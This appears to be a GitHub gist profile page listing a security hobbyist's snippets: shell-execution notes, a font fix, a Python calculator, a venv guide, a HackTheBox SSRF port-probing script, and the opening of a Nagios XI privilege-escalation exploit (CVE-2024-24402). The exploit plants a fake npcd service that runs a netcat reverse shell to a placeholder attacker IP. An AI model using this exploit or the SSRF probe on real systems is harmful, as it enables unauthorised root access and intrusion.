Skip to content

Instantly share code, notes, and snippets.

View sec-fortress's full-sized avatar
💻
1337

Olaoluwa sec-fortress

💻
1337
View GitHub Profile
@sec-fortress
sec-fortress / executionmethods.md
Created July 5, 2024 12:51
Difference between running a particular script with ./ or bash, perl, python (Whatever executable language)

Running a script with ./ or bash involves different ways of executing the script, which can have implications for the environment and the way the script is processed. Here’s a detailed comparison:

Running a Script with ./

When you run a script using ./script.sh, you are telling the shell to execute the script file directly. This requires the script to:

  1. Have Execute Permissions: The script file must be executable. You can set this with chmod +x script.sh.
  2. Specify the Interpreter: The first line of the script should specify the interpreter to be used (e.g., #!/bin/bash for a bash script, #!/usr/bin/env python3 for a Python script). This is known as the shebang line.
@sec-fortress
sec-fortress / port_scan.py
Created June 21, 2024 07:21
This script was generated with the help of chatgpt to test for certain ports in the HTB editorial machine SSRF vulnerability
import requests
# List of ports to test
ports = [80, 8080, 8000, 6666, 8081, 5000]
# URL and headers for the POST request
url = "http://editorial.htb/upload-cover"
headers = {
"Host": "editorial.htb",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
@sec-fortress
sec-fortress / CVE-2024-24402.sh
Created April 18, 2024 22:13
Exploit for the Nagios XI root privilege escalation (CVE-2024-24402)
#!/bin/bash
# Create npcd script
echo "#!/bin/bash" > /tmp/npcd
echo "nc -e /bin/bash <Attacker IP> 4445" >> /tmp/npcd
# Grant executable permissions on the npcd script
chmod +x /tmp/npcd 2>/dev/null
# Stop the npcd service
@sec-fortress
sec-fortress / fonterror.sh
Last active April 11, 2024 10:54
Fix font error in kali linux
#!/bin/bash
sudo apt install fonts-noto-color-emoji && sudo reboot
@sec-fortress
sec-fortress / areacalc.py
Created April 10, 2024 22:11
A codex Area Calculator Checkpoint Project
print("Shapes:")
print("1. Square\n2. Rectangle\n3. Triangle\n4. Circle")
while True:
shape = int(input("What shape do you want? "))
if shape in [1, 2, 3, 4]:
if shape == 1:
side = float(input("Enter side: "))
print(f"Area of a Square is equal to {side * side}")
@sec-fortress
sec-fortress / pyvenv.md
Last active February 25, 2024 21:14
Creating a Python Virtual Environment

Python venv (Virtual Environment) is a tool that comes bundled with Python 3.3 and later versions. It allows you to create isolated environments for Python projects.

To create a virtual environment you need to use the python venv module

python3.9 -m venv myenv

We need to need to activate the environment variable so that when we run Python or install packages, it happens within the virtual environment.